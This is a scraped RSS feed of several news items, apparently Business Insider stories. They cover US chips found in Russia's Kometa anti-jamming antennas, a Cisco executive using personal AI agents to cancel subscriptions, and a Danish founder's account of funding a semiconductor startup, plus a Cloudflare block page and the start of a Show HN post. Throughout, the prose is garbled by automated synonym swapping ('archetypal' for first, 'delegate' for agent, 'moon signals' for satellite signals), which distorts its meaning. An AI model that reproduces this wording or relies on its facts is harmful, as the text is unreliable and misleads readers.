data-src="/public/assets/logos/placeholder.png" alt=""> </p> </span> <h3> <span>Business Insider tells the innovative stories you desire to know</span> </h3> </div> </div> <a e-name="read-next-image-link" data-recommendations-image-link data-recommendations-link tabindex="-1"> <p><img alt=""> </p> </a> <h3> <a e-name="read-next-title-link" data-recommendations-link data-recommendations-title></a> </h3> <div data-component-type="post-bottom-authors" data-load-strategy="exclude" data-track-view='&quot;module_in_view&quot;}' data-track-click-shared='&quot;navigation&quot;}'> <div data-track-view='&quot;module_in_view&quot;}'> <div> <p><span>Amanda is a elder manner newsman at Business Insider's Singapore bureau.</span><span>Her reporting explores how group navigate important existence transitions, including occupation changes, relocation, and retirement, alongside a particular concentration on the experiences of those living in Asia. She additionally writes concerning travel, culture, wellness, and relationships.</span><span>In 2025, she won the Singapore Press Club's Rising Stars Young Digital Journalist Award.</span><span>She earlier worked as a author and video manufacturer at a satisfied promotion agency in Singapore. She graduated from the University at Buffalo alongside a BA (Hons) in Sociology.</span> </p> </div> </div> </div>]]></content:encoded> <guid isPermaLink="true">https://en.mycoding.id/bono-says-u2-has-got-no-problem-with-charging-wealthy-fans-more-to-see-the-band-live-73244</guid> <pubDate>Tue, 20 Oct 2026 06:46:42 +0700</pubDate> <author><![CDATA[support@mycoding.id (Amanda Goh)]]></author> </item> <item> <title><![CDATA[Ukraine identified a slew of foreign parts in Russia's anti-jamming tech. Over 75% are American.]]></title> <description><![CDATA[Ukraine identified a slew of foreign parts in Russia's anti-jamming tech. Over 75% are American.. Russia's Kometa systems for Shahed drones and Iskander-M missiles were established alongside 28 chips and another electronics made by US firms, per GUR.]]></description> <media:thumbnail url="https://i.insider.com/6ad6f226e50b02f612be5132?width=1200&amp;format=jpeg"/> <category><![CDATA[Business]]></category> <link>https://en.mycoding.id/ukraine-identified-a-slew-of-foreign-parts-in-russia-s-anti-jamming-tech-over-75-are-american-73245</link> <content:encoded><![CDATA[<div e-name="post-hero" data-component-type="post-hero" data-load-strategy="exclude"> <figure data-type="img" e-name="image-figure-image" data-media-container="image" itemscope itemtype="https://schema.org/ImageObject"> <div> <p><img src="https://i.insider.com/6ad6f194adb77227909a7234?width=2000&amp;format=jpeg&amp;auto=webp" srcset="https://i.insider.com/6ad6f194adb77227909a7234?width=400&amp;format=jpeg&amp;auto=webp 400w, https://i.insider.com/6ad6f194adb77227909a7234?width=500&amp;format=jpeg&amp;auto=webp 500w, https://i.insider.com/6ad6f194adb77227909a7234?width=700&amp;format=jpeg&amp;auto=webp 700w, https://i.insider.com/6ad6f194adb77227909a7234?width=1000&amp;format=jpeg&amp;auto=webp 1000w, https://i.insider.com/6ad6f194adb77227909a7234?width=1300&amp;format=jpeg&amp;auto=webp 1300w, https://i.insider.com/6ad6f194adb77227909a7234?width=2000&amp;format=jpeg&amp;auto=webp 2000w" sizes=" 1280px) 900px" alt="A Geran-2 is displayed exterior a Ukrainian church." decoding="sync"> </p></div> <span> <span> <svg aria-hidden="true" focusable="false" xmlns="http://www.w3.org/2000/svg" width="1em" height="1em" viewbox="0 0 24 24"> <path fill="currentColor" fill-rule="evenodd" d="m4.56 18.5 7.486-7.72 7.394 7.626 2.56-2.64L12.046 5.5 2 15.86l2.56 2.64Z"></path> </svg> <figcaption e-name="image-caption"> <span>The Geran-2 regularly uses the Kometa scheme to navigate Ukraine's skies and suppress digital warfare.</span> <span> <span e-name="image-source" itemprop="creditText">Sergei Grits/AP Photo</span> </span> </figcaption> </span> </span> </figure> </div> <div data-component-type="image-modal" data-load-strategy="lazy"> <p>Over two dozen US processors, chips, and another components have been established in Russia's anti-jamming antenna systems, according to Ukraine's armed forces intelligence.</p><p>The Ukrainian agency, GUR, published a catalog of abroad parts on Monday that it stated were discovered in 16-element Kometa modules, one of Russia's additional advanced systems that assistance drones and ballistic missiles <a href="https://en.mycoding.id/category/business" target="_blank" data-track-click='&quot;bi_value_unassigned&quot;}' rel="">suppress digital warfare</a> and navigate the skies.</p><p>US-headquartered firms produced 28 out of 37 abroad components &mdash; or fair complete three-quarters &mdash; listed on Monday, per GUR.</p><p>Ten American brands and their components were identified in the catalog, posted on GUR's War and Sanctions page. These contain digital processors from Intel subsidiary Altera, radio-frequency and precision components from Analog Devices, a recollection part from Micron, and supporting electronics from Texas Instruments.</p><p>Another three components are built by Chinese companies, during the another six arrive from Japanese, Taiwanese, and Swiss manufacturers, GUR additionally indicated.</p><p>In a declaration to Business Insider, a Texas Instruments spokesman stated the business "strongly opposes the use of our chips in Russian armed forces equipment."</p><p>"Any shipments of TI chips into Russia are illicit and unauthorized. We dedicate important period and resources to developing, implementing, and refining policies and procedures to combat illicit amusement and keep chips out of the hands of bad actors," they added.</p><p>Intel, Analog Devices, and Micron did not immediately react to requests for comment sent exterior regular endeavor hours by Business Insider.</p><p>The new catalog from GUR, which regularly publishes data on <a href="https://en.mycoding.id/category/business" target="_blank" data-track-click='&quot;bi_value_unassigned&quot;}' rel="">foreign parts in Russian equipment</a>, comes as the digital war competition grows additional critical to Ukraine's air defense.</p> <p>Kyiv's forces try to halt Russian drone and missile attacks alongside a mix of jamming tools and interceptors, but the second are facing difficulty as Moscow has begun mass-launching <a href="https://en.mycoding.id/category/business" target="_blank" data-track-click='&quot;bi_value_unassigned&quot;}' rel="">faster, jet-powered drones</a> &mdash; the slowest of which can fly at concerning 185 mph.</p><p>Kometa antenna panels are among the most average anti-jamming tools on Russian long-range weapons, specified as Shahed drones, Iskander-M ballistic missiles, and glide bombs.</p><p>Each antenna receives moon signals and helps to oppose jamming or spoofing.</p><p>The 16-element Kometa, which basically has an gathering of 16 antennas, is one of Russia's newer versions of the scheme in bulk production. Two years ago, Moscow was regularly using <a href="https://en.mycoding.id/category/business" target="_blank" data-track-click='&quot;bi_value_unassigned&quot;}' rel="">eight-element Kometas</a> on its Shaheds instead.</p> </div> <h2>Read next</h2> <div data-recommendations-content data-track-click-shared='&quot;Read next&quot;}'> <div e-name="read-next-list" data-recommendations-list> <span> <p><img src="image/svg+xml,%3Csvg%20xmlns=&#039;http://www.w3.org/2000/svg&#039;%20viewBox=&#039;0%200%201%201&#039;%3E%3C/svg%3E" data-src="/public/assets/logos/placeholder.png" alt=""> </p> </span> <h3> <span>Business Insider tells the innovative stories you desire to know</span> </h3> <span> <p><img src="image/svg+xml,%3Csvg%20xmlns=&#039;http://www.w3.org/2000/svg&#039;%20viewBox=&#039;0%200%201%201&#039;%3E%3C/svg%3E" data-src="/public/assets/logos/placeholder.png" alt=""> </p> </span> <h3> <span>Business Insider tells the innovative stories you desire to know</span> </h3> <span> <p><img src="image/svg+xml,%3Csvg%20xmlns=&#039;http://www.w3.org/2000/svg&#039;%20viewBox=&#039;0%200%201%201&#039;%3E%3C/svg%3E" data-src="/public/assets/logos/placeholder.png" alt=""> </p> </span> <h3> <span>Business Insider tells the innovative stories you desire to know</span> </h3> <span> <p><img src="image/svg+xml,%3Csvg%20xmlns=&#039;http://www.w3.org/2000/svg&#039;%20viewBox=&#039;0%200%201%201&#039;%3E%3C/svg%3E" data-src="/public/assets/logos/placeholder.png" alt=""> </p> </span> <h3> <span>Business Insider tells the innovative stories you desire to know</span> </h3> </div> </div> <a e-name="read-next-image-link" data-recommendations-image-link data-recommendations-link tabindex="-1"> <p><img alt=""> </p> </a> <h3> <a e-name="read-next-title-link" data-recommendations-link data-recommendations-title></a> </h3> <div data-component-type="post-bottom-authors" data-load-strategy="exclude" data-track-view='&quot;module_in_view&quot;}' data-track-click-shared='&quot;navigation&quot;}'> <div data-track-view='&quot;module_in_view&quot;}'> <div> <p><span>Matthew is a elder newsman at Business Insider's Singapore bureau. He covers the defence industry, armed forces technology, and evolving strategies in Ukraine, the US, and the Asia-Pacific region.He joined the squad in June 2021, earlier focusing on net infringement and labor, examining how these issues effect contemporary community in Asia, alongside a particular accent on China.</span><span>Matthew's former activity has been featured in the South China Morning Post, as fine as Singaporean news companies TODAY and The Business Times.</span> </p> </div> </div> </div>]]></content:encoded> <guid isPermaLink="true">https://en.mycoding.id/ukraine-identified-a-slew-of-foreign-parts-in-russia-s-anti-jamming-tech-over-75-are-american-73245</guid> <pubDate>Tue, 20 Oct 2026 06:10:38 +0700</pubDate> <author><![CDATA[support@mycoding.id (Matthew Loh)]]></author> </item> <item> <title><![CDATA[Americans Are Spending More Money to Drive Worse Cars]]></title> <description><![CDATA[Americans Are Spending More Money to Drive Worse Cars. Comments]]></description> <media:thumbnail url="https://en.mycoding.id/site/assets/img/og-image.png"/> <category><![CDATA[Technology]]></category> <link>https://en.mycoding.id/americans-are-spending-more-money-to-drive-worse-cars-73246</link> <content:encoded><![CDATA[<div> <p> Our site&rsquo;s safety protections triggered a block. If you think this was in error, email us at <a href="https://en.mycoding.id/category/technology" target="_blank"> <span data-cfemail="31424441415e43457145595450455d505f4558521f525e5c">[email&nbsp;protected]</span></a>. Please contain how you got to this webpage and the Cloudflare Ray ID located at the base of the page. </p> <p> If you would akin to ask concerning approval to admission our content, email us at <a href="https://en.mycoding.id/category/technology" target="_blank"> <span data-cfemail="2844414b4d465b41464f685c404d495c4449465c414b064b4745">[email&nbsp;protected]</span></a>. </p> <p>Cloudflare Ray ID: <span id="ray">a4d5cd515a26ff81</span></p> <p> <a href="https://en.mycoding.id/category/technology" target="_blank">Back to <i>The Atlantic</i></a> </p> </div>]]></content:encoded> <guid isPermaLink="true">https://en.mycoding.id/americans-are-spending-more-money-to-drive-worse-cars-73246</guid> <pubDate>Tue, 20 Oct 2026 05:55:36 +0700</pubDate> <author><![CDATA[support@mycoding.id (Putri Silvia)]]></author> </item> <item> <title><![CDATA[Cisco's president said he used personal AI agents to screen $9,000 worth of his yearly subscriptions]]></title> <description><![CDATA[Cisco's president said he used personal AI agents to screen $9,000 worth of his yearly subscriptions. One of them, which expenses him $20 a month, lately saved him additional than $1,000 in subscription bills.]]></description> <media:thumbnail url="https://i.insider.com/6ad6c1a6e50b02f612be5102?width=1200&amp;format=jpeg"/> <category><![CDATA[Business]]></category> <link>https://en.mycoding.id/cisco-s-president-said-he-used-personal-ai-agents-to-screen-9-000-worth-of-his-yearly-subscriptions-73241</link> <content:encoded><![CDATA[<div e-name="post-hero" data-component-type="post-hero" data-load-strategy="exclude"> <figure data-type="img" e-name="image-figure-image" data-media-container="image" itemscope itemtype="https://schema.org/ImageObject"> <div> <p><img src="https://i.insider.com/6ad6c0c8adb77227909a720a?width=2000&amp;format=jpeg&amp;auto=webp" srcset="https://i.insider.com/6ad6c0c8adb77227909a720a?width=400&amp;format=jpeg&amp;auto=webp 400w, https://i.insider.com/6ad6c0c8adb77227909a720a?width=500&amp;format=jpeg&amp;auto=webp 500w, https://i.insider.com/6ad6c0c8adb77227909a720a?width=700&amp;format=jpeg&amp;auto=webp 700w, https://i.insider.com/6ad6c0c8adb77227909a720a?width=1000&amp;format=jpeg&amp;auto=webp 1000w, https://i.insider.com/6ad6c0c8adb77227909a720a?width=1300&amp;format=jpeg&amp;auto=webp 1300w, https://i.insider.com/6ad6c0c8adb77227909a720a?width=2000&amp;format=jpeg&amp;auto=webp 2000w" sizes=" 1280px) 900px" alt="Jeetu Patel, chairman and chief merchandise authoritative at Cisco Systems Inc., at the AI Impact Summit in New Delhi, India, on Friday, Feb. 20, 2026." decoding="sync"> </p></div> <span> <span> <svg aria-hidden="true" focusable="false" xmlns="http://www.w3.org/2000/svg" width="1em" height="1em" viewbox="0 0 24 24"> <path fill="currentColor" fill-rule="evenodd" d="m4.56 18.5 7.486-7.72 7.394 7.626 2.56-2.64L12.046 5.5 2 15.86l2.56 2.64Z"></path> </svg> <figcaption e-name="image-caption"> <span>Cisco's chairman and merchandise chief, Jeetu Patel, shared how he's used individual AI agents.</span> <span> <span e-name="image-source" itemprop="creditText">Bloomberg/Getty Images</span> </span> </figcaption> </span> </span> </figure> </div> <div data-component-type="image-modal" data-load-strategy="lazy"> <p>If getting mysterious and amazing subscription bills are the bane of your existence, Cisco's chairman and merchandise chief, <a href="https://en.mycoding.id/category/business" target="_blank" data-track-click='&quot;bi_value_unassigned&quot;}' rel="">Jeetu Patel</a>, is in the identical boat.</p><p>Patel told Business Insider that stated he's been using four to five distinct <a href="https://en.mycoding.id/category/business" target="_blank" data-track-click='&quot;bi_value_unassigned&quot;}' rel="">personal AI agents</a>, akin Meta's Muse, Instinct, and OpenAI's Dots, for things akin consolidating news, summarizing earnings calls, and equal booking his daughter's achievement tickets. But recently, he was impressed by how one delegate could slash his subscription bills.</p><p>He stated that the archetypal period he gave a individual AI delegate admission to his email, the delegate told him, "Hey, you've got $9,000 value of subscriptions that you subscribe to per year. Are you certain you desire all of these? It seems akin a lot of subscriptions."</p><p>He told the delegate to create him a array of all his subscriptions, how much he spends on each, and how lengthy he's had each. After the delegate presented him alongside the table, he picked out two subscriptions that he didn't need and made the delegate cancel them, which it did without difficulty, and sent him cancellation emails.</p><p>"I'm like, OK, that was benevolent of creepy how uncomplicated it was to do that," Patel said. "And afterward it saved me 1,000, 1,200 bucks a twelvemonth fair complete there. So basically, for the most part, I paid for that agent, at a $20-a-month plan, multiple times over."</p><p>The delegate additionally managed to cancel part of his Dropbox subscription &mdash; an $11.95 scheme he had accidentally subscribed to, equal although he had already purchased a 2-terabyte plan.</p><p>Patel is a big fan of AI agents, the two at activity and exterior it. He stated he rarely starts any project now without asking an AI delegate to do a "recon job" and provision him investigation and context.</p><p>But the crucial item to remember, he said, was not to provision individual AI agents, which are not vetted by employers, admission to activity tools and resources. He hasn't connected his email or calendar to his individual agents, alternatively using his inner activity delegate for those tasks.</p><p>"These are common-sense things that I think most companies implement, which is, 'Don't provision your crown jewels of your origin code repository to Muse; it power not be a fine idea,'" Patel said.</p> <h2 id="8a75d13f-91b3-4a82-a5af-e6655fdbdd7b" data-toc-id="8a75d13f-91b3-4a82-a5af-e6655fdbdd7b">Rogue or not, AI agents have been causing a buzz</h2><p>Personal AI agents have been all the rage in latest months, serving as individual assistants and handling mundane, repetitive tasks akin paying bills and purchasing groceries for their users.</p><p>While they've been touted as efficiency boosters, there have been multiple instances of users reporting that the agents have performed actions exterior their permissions, specified as <a href="https://en.mycoding.id/category/business" target="_blank" data-track-click='&quot;bi_value_unassigned&quot;}' rel="">posting financial institution balances</a> to business Slack channels or misinterpreting instructions, specified as ordering <a href="https://en.mycoding.id/category/business" target="_blank" data-track-click='&quot;bi_value_unassigned&quot;}' rel="">20 pounds of chicken</a> for a meal for two.</p><p>Obedient or not, individual AI agents have been causing a buzz, particularly for investors.</p><p>Ross Mayfield, an funding strategist at Baird, told Business Insider's William Edwards onward of Meta's earnings that Muse is the archetypal big app of the AI era and that it assuages several investors' fears concerning Big Tech's ballooning AI spending. And <a href="https://en.mycoding.id/category/business" target="_blank" data-track-click='&quot;bi_value_unassigned&quot;}' rel="">Instinct, founded by a 23-year-old</a>, raised $1 milliard in its Series C, bringing its evaluation to $10 billion.</p><p>But these new products are coming in a twelvemonth whenever there have been multiple instances of AI agents going rogue and performing unauthorized actions, specified as breaking out of sandboxes during safety tests and exploiting application vulnerabilities in external companies' websites.</p><p>This has led companies specified as&nbsp;<a href="https://en.mycoding.id/category/business" target="_blank" data-track-click='&quot;bi_value_unassigned&quot;}' rel="">Bank of America</a>&nbsp;to allocate resources and employ additional personnel to location issues alongside their bequest application and forestall specified hacks.</p><p>Former and current staffers at frontier AI labs akin Anthropic and OpenAI have publically raised concerns that AI betterment is progressing too rapidly, without adequate checks and balances. September was characterized by an air of destiny and gloom complete an "AI apocalypse," in which AI researchers estimated that the innovation would slay all of humanity in the next decade.</p> </div> <h2>Read next</h2> <div data-recommendations-content data-track-click-shared='&quot;Read next&quot;}'> <div e-name="read-next-list" data-recommendations-list> <span> <p><img src="image/svg+xml,%3Csvg%20xmlns=&#039;http://www.w3.org/2000/svg&#039;%20viewBox=&#039;0%200%201%201&#039;%3E%3C/svg%3E" data-src="/public/assets/logos/placeholder.png" alt=""> </p> </span> <h3> <span>Business Insider tells the innovative stories you desire to know</span> </h3> <span> <p><img src="image/svg+xml,%3Csvg%20xmlns=&#039;http://www.w3.org/2000/svg&#039;%20viewBox=&#039;0%200%201%201&#039;%3E%3C/svg%3E" data-src="/public/assets/logos/placeholder.png" alt=""> </p> </span> <h3> <span>Business Insider tells the innovative stories you desire to know</span> </h3> <span> <p><img src="image/svg+xml,%3Csvg%20xmlns=&#039;http://www.w3.org/2000/svg&#039;%20viewBox=&#039;0%200%201%201&#039;%3E%3C/svg%3E" data-src="/public/assets/logos/placeholder.png" alt=""> </p> </span> <h3> <span>Business Insider tells the innovative stories you desire to know</span> </h3> <span> <p><img src="image/svg+xml,%3Csvg%20xmlns=&#039;http://www.w3.org/2000/svg&#039;%20viewBox=&#039;0%200%201%201&#039;%3E%3C/svg%3E" data-src="/public/assets/logos/placeholder.png" alt=""> </p> </span> <h3> <span>Business Insider tells the innovative stories you desire to know</span> </h3> </div> </div> <a e-name="read-next-image-link" data-recommendations-image-link data-recommendations-link tabindex="-1"> <p><img alt=""> </p> </a> <h3> <a e-name="read-next-title-link" data-recommendations-link data-recommendations-title></a> </h3> <div data-component-type="post-bottom-authors" data-load-strategy="exclude" data-track-view='&quot;module_in_view&quot;}' data-track-click-shared='&quot;navigation&quot;}'> <div data-track-view='&quot;module_in_view&quot;}'> <div> <p><span>Aditi is a news newsman at Business Insider&rsquo;s Singapore bureau. She covers hustle civilization and the forthcoming of work, focusing on how AI and innovation are reshaping jobs, careers, and workplaces.</span><span>She earlier worked for The Straits Times, anywhere she wrote breaking news stories for the Singapore desk.&nbsp;She studied communications and endeavor at Nanyang Technological University.&nbsp;</span><span></span> </p> </div> </div> </div>]]></content:encoded> <guid isPermaLink="true">https://en.mycoding.id/cisco-s-president-said-he-used-personal-ai-agents-to-screen-9-000-worth-of-his-yearly-subscriptions-73241</guid> <pubDate>Tue, 20 Oct 2026 05:52:19 +0700</pubDate> <author><![CDATA[support@mycoding.id (Aditi Bharade)]]></author> </item> <item> <title><![CDATA[I sold my apartment, cashed out my pension, and took on debt to build a semiconductor startup. I'd do it again.]]></title> <description><![CDATA[I sold my apartment, cashed out my pension, and took on debt to build a semiconductor startup. I'd do it again.. Hans Hasselby-Andersen discontinue his engineering job during the 2008 financial emergency alongside four kids and spent a twelvemonth raising his archetypal funding.]]></description> <media:thumbnail url="https://i.insider.com/6ace0766c2928e989ab95f5d?width=1200&amp;format=jpeg"/> <category><![CDATA[Business]]></category> <link>https://en.mycoding.id/i-sold-my-apartment-cashed-out-my-pension-and-took-on-debt-to-build-a-semiconductor-startup-i-d-do-it-again-73242</link> <content:encoded><![CDATA[<div e-name="post-hero" data-component-type="post-hero" data-load-strategy="exclude"> <figure data-type="img" e-name="image-figure-image" data-media-container="image" itemscope itemtype="https://schema.org/ImageObject"> <div> <p><img src="https://i.insider.com/6ace070ac2928e989ab95f5c?width=2000&amp;format=jpeg&amp;auto=webp" srcset="https://i.insider.com/6ace070ac2928e989ab95f5c?width=400&amp;format=jpeg&amp;auto=webp 400w, https://i.insider.com/6ace070ac2928e989ab95f5c?width=500&amp;format=jpeg&amp;auto=webp 500w, https://i.insider.com/6ace070ac2928e989ab95f5c?width=700&amp;format=jpeg&amp;auto=webp 700w, https://i.insider.com/6ace070ac2928e989ab95f5c?width=1000&amp;format=jpeg&amp;auto=webp 1000w, https://i.insider.com/6ace070ac2928e989ab95f5c?width=1300&amp;format=jpeg&amp;auto=webp 1300w, https://i.insider.com/6ace070ac2928e989ab95f5c?width=2000&amp;format=jpeg&amp;auto=webp 2000w" sizes=" 1280px) 900px" alt="Hans Hasselby-Andersen, CEO of Lotus Microsystems." decoding="sync"> </p></div> <span> <span> <svg aria-hidden="true" focusable="false" xmlns="http://www.w3.org/2000/svg" width="1em" height="1em" viewbox="0 0 24 24"> <path fill="currentColor" fill-rule="evenodd" d="m4.56 18.5 7.486-7.72 7.394 7.626 2.56-2.64L12.046 5.5 2 15.86l2.56 2.64Z"></path> </svg> <figcaption e-name="image-caption"> <span>Hans Hasselby-Andersen spent nearly a twelvemonth raising his archetypal backing following leaving Texas Instruments during the financial crisis.</span> <span> <span e-name="image-source" itemprop="creditText">Hans Hasselby-Andersen/Lotus Microsystems</span> </span> </figcaption> </span> </span> </figure> </div> <div data-component-type="image-modal" data-load-strategy="lazy"> <p><em>This as-told-to composition is according to a conversation alongside Hans Hasselby-Andersen, 56, CEO of Danish semiconductor startup Lotus Microsystems and cofounder of Merus Audio, which was acquired by Infineon in 2018. The following has been edited for dimension and clarity.</em></p><p>When I discontinue my job at Texas Instruments in September 2008 to commencement a <a href="https://en.mycoding.id/category/business" target="_blank" data-track-click='&quot;bi_value_unassigned&quot;}' rel="">semiconductor company,</a> I had four children between the ages of 5 and 14.</p><p>It was nearly the height of the <a href="https://en.mycoding.id/category/business" target="_blank" data-track-click='&quot;bi_value_unassigned&quot;}' rel="">financial crisis.</a> You had <a href="https://en.mycoding.id/category/business" target="_blank" data-track-click='&quot;bi_value_unassigned&quot;}' rel="">Lehman Brothers</a> going downward in flames in the US, and the entire credit market was fair freezing up.</p><p>So to jump out at that item and go into fundraising was a big, big step. My director was looking at me akin I was crazy, basically.</p><p>Thinking back, likely I should have waited a twelvemonth or so and fair cooled off a small bit. But the item is, formerly you have an idea and you're really motivated, you can't really wait. You have to go do item concerning it.</p><p>I'm an electric engineer by training. Earlier in my career, I joined a small startup that was acquired by Texas Instruments concerning five or six months following I arrived.</p><p>The entire idea of a business being acquired, an exit and all that, was all new to me.</p><p>It planted a kernel in my caput that, if the circumstances were right, this was additionally a way I could take, and not fair build my occupation in a <a href="https://en.mycoding.id/category/business" target="_blank" data-track-click='&quot;bi_value_unassigned&quot;}' rel="">large company.</a></p><p>I stayed at Texas Instruments and worked in the audio semiconductor business.</p> <p>I was picking up things from my interactions in the market anywhere I idea there was really a need for a much additional energy-efficient way to run speakers in products akin portable speakers and soundbars.</p><p>I saw a <a href="https://en.mycoding.id/category/business" target="_blank" data-track-click='&quot;bi_value_unassigned&quot;}' rel="">market need,</a> but I didn't have the specialized solution, so my archetypal project was to go out and discover a cofounder who could arrive up alongside a specialized resolution for that market.</p><p>I think that's really fairly different for tech startups. Normally, person comes up alongside several technology, and afterward they go out and try to see anywhere it can be applied. This was the contrary approach.</p><h2 id="ade93c82-409c-4025-8ae9-03d1a2de3916" data-toc-id="ade93c82-409c-4025-8ae9-03d1a2de3916">Four kids, one big decision</h2><p>Just before I resigned, I called my financial institution and asked if I could get a essential financial institution overdraft facility fair to provision me several additional headroom to live on.</p><p>Honestly, I think if I had waited two weeks, I wouldn't have gotten it. It was fair whenever the financial emergency started to really boot in, and I earnestly doubt I would've gotten that row of credit.</p><p>Getting the <a href="https://en.mycoding.id/category/business" target="_blank" data-track-click='&quot;bi_value_unassigned&quot;}' rel="">first funding</a> took the improved part of a year.</p><p>I likely said to between 50 and 100 distinct investors.</p><p>It's really a courtship game. You try to appearance appealing and engaging from a business <a href="https://en.mycoding.id/category/business" target="_blank" data-track-click='&quot;bi_value_unassigned&quot;}' rel="">point of view,</a> but you mostly get rejections since the capitalist doesn't allocate in your domain, you're too early, you're too late, or you don't fit their profile.</p><p>I paid out of my own pocket to journey to Japan, South Korea, and Singapore to encounter possible customers. I wanted to pressure-test my idea, comprehend what they were struggling with, what their requirements were, and assistance mature my endeavor case.</p><p>Eventually, I raised the equal of concerning $150,000 to $200,000. It was a extremely small amount, and we spent it in concerning six months. The infinitesimal we got the funding, we knew we had to continue fundraising immediately.</p><p>My wife, who was a academy instructor at the time, has been very, extremely supportive. She never told me, "This is a foolish idea, go rear and discover a job."</p><p>With four kids, you can't fair create that decision on your own. When we eventually got the business off the ground, my spouse and I made <a href="https://en.mycoding.id/category/business" target="_blank" data-track-click='&quot;bi_value_unassigned&quot;}' rel="">some adjustments</a> to minimize the hazard for my family.</p><p>We sold our flat during we could motionless create a small prosperity from it and rented instead, so we wouldn't hazard having to market at a defeat if the business failed. We additionally sold our car and leased one instead.</p><p>I slaughtered my pension and took out the money. I thought, "I need it now. I'm not concerning to be former anyway."</p><p>Throughout the existence of a startup company, you're additional or small in fundraising manner all the time. You continually have to keep your eye on how lengthy you have prosperity and anywhere you're going to get your next funding. The worst item that can happen is that you run out of cash.</p><p>If there's one advice I would provision first-time founders, it's to prepared for things to obtain longer than they anticipate since they continually do.</p><p>If you think you can do item in two years or three years, multiply that by two, at least.</p><p>If you scheme financially for your prosperity to prosperity your scheme as you lay it out, afterward you're going to be in a difficult circumstance since you're going to run out of prosperity before you've achieved the milestones you set out to achieve.</p><h2 id="877ee660-fbab-4ad9-96ed-5a7a2fcfe2ab" data-toc-id="877ee660-fbab-4ad9-96ed-5a7a2fcfe2ab">Engineers have to sell, too</h2><p id="4d292f99-6769-46e9-8a87-6a0d2eaceb1f"><a href="https://en.mycoding.id/category/business" target="_blank" data-track-click='&quot;bi_value_unassigned&quot;}' rel="">Starting a company</a> about 40 made me a distinct benevolent of founder. There were certainly things I had learned that I wouldn't have been without.</p><p>I had learned how to communicate alongside customers, how to discover out what the market needed, and how to explain what I was doing and why it was a fine idea.</p><p>Many engineers are evidently fine at what they do technically, but they can have a big difficulty explaining that to others.</p><p>When you're position in forefront of investors, you have three minutes to explain what you're doing. You have to train to do that elevator pitch.</p><p>Nine years later, the business I cofounded, Merus Audio, was acquired by Infineon.</p><p>I stayed on to assistance alongside the integration, but I was really not looking to go rear into the company world. I had already had that cognition and I had really arrive to akin the <a href="https://en.mycoding.id/category/business" target="_blank" data-track-click='&quot;bi_value_unassigned&quot;}' rel="">startup life.</a></p><p>Today, I'm CEO and an capitalist at Lotus Microsystems, another semiconductor startup.</p><p>I'm not a originator this time, but I awareness ownership. I awareness invested in the company.</p><p>Would I obtain that identical hazard again today as I did alongside Merus?</p><p>I think the answer is yes.</p><p>If you have that mentality of wanting to try item on your own, to build something, that is a important controller inner you. It gives you an enormous amount of energy and motivation.</p><p>When you do that, you can really accomplish a lot.</p> </div> <h2>Read next</h2> <div data-recommendations-content data-track-click-shared='&quot;Read next&quot;}'> <div e-name="read-next-list" data-recommendations-list> <span> <p><img src="image/svg+xml,%3Csvg%20xmlns=&#039;http://www.w3.org/2000/svg&#039;%20viewBox=&#039;0%200%201%201&#039;%3E%3C/svg%3E" data-src="/public/assets/logos/placeholder.png" alt=""> </p> </span> <h3> <span>Business Insider tells the innovative stories you desire to know</span> </h3> <span> <p><img src="image/svg+xml,%3Csvg%20xmlns=&#039;http://www.w3.org/2000/svg&#039;%20viewBox=&#039;0%200%201%201&#039;%3E%3C/svg%3E" data-src="/public/assets/logos/placeholder.png" alt=""> </p> </span> <h3> <span>Business Insider tells the innovative stories you desire to know</span> </h3> <span> <p><img src="image/svg+xml,%3Csvg%20xmlns=&#039;http://www.w3.org/2000/svg&#039;%20viewBox=&#039;0%200%201%201&#039;%3E%3C/svg%3E" data-src="/public/assets/logos/placeholder.png" alt=""> </p> </span> <h3> <span>Business Insider tells the innovative stories you desire to know</span> </h3> <span> <p><img src="image/svg+xml,%3Csvg%20xmlns=&#039;http://www.w3.org/2000/svg&#039;%20viewBox=&#039;0%200%201%201&#039;%3E%3C/svg%3E" data-src="/public/assets/logos/placeholder.png" alt=""> </p> </span> <h3> <span>Business Insider tells the innovative stories you desire to know</span> </h3> </div> </div> <a e-name="read-next-image-link" data-recommendations-image-link data-recommendations-link tabindex="-1"> <p><img alt=""> </p> </a> <h3> <a e-name="read-next-title-link" data-recommendations-link data-recommendations-title></a> </h3> <div data-component-type="post-bottom-authors" data-load-strategy="exclude" data-track-view='&quot;module_in_view&quot;}' data-track-click-shared='&quot;navigation&quot;}'> <div data-track-view='&quot;module_in_view&quot;}'> <div> <div> <p><span>Huileng Tan is a elder newsman based in Singapore, covering markets, the earth economy, commodities, and investing. Her reporting focuses on how shifts in <a href="https://en.mycoding.id/category/business" target="_blank">money, demographics, technology,</a> and <a href="https://en.mycoding.id/category/business" target="_blank">policy</a> are reshaping <a href="https://en.mycoding.id/category/business" target="_blank">businesses,</a> <a href="https://en.mycoding.id/category/business" target="_blank">wealth, and mundane life</a> about the world.</span><span>Since joining Business Insider in 2021, she has covered everything from <a href="https://en.mycoding.id/category/business" target="_blank">commodity booms</a> and <a href="https://en.mycoding.id/category/business" target="_blank">investor trends</a> to <a href="https://en.mycoding.id/category/business" target="_blank">China's economy,</a> the <a href="https://en.mycoding.id/category/business" target="_blank">AI trade,</a> and the forces driving <a href="https://en.mycoding.id/category/business" target="_blank">global markets.</a></span><span>Before joining Business Insider, she reported for CNBC, Dow Jones, ICIS, and The Wall Street Journal.</span><span>Reach her at <a href="https://en.mycoding.id/category/business" target="_blank">htan@businessinsider.com</a>.</span> </p></div> </div> </div> </div>]]></content:encoded> <guid isPermaLink="true">https://en.mycoding.id/i-sold-my-apartment-cashed-out-my-pension-and-took-on-debt-to-build-a-semiconductor-startup-i-d-do-it-again-73242</guid> <pubDate>Tue, 20 Oct 2026 05:51:21 +0700</pubDate> <author><![CDATA[support@mycoding.id (Huileng Tan)]]></author> </item> <item> <title><![CDATA[Show HN: Death Plan Switch, a self-hosted dead man's switch for solo devs]]></title> <description><![CDATA[Show HN: Death Plan Switch, a self-hosted dead man's switch for solo devs. Comments]]></description> <media:thumbnail url="https://deathplanswitch.com/og.png"/> <category><![CDATA[Technology]]></category> <link>https://en.mycoding.id/show-hn-death-plan-switch-a-self-hosted-dead-man-s-switch-for-solo-devs-73247</link> <content:encoded><![CDATA[<div> <div> <img src="https://deathplanswitch.com/logo.svg" width="933" height="700" alt="Death Plan Switch"> <p>A small, self-hosted deceased man's toggle for autonomous web developers. It emails you formerly a week. If you halt answering, it asks your next of kin, afterward tells the group who need to act.</p> <a href="https://en.mycoding.id/category/technology" target="_blank">Download from GitHub</a> <p>Free. MIT licence. PHP 8.1 or 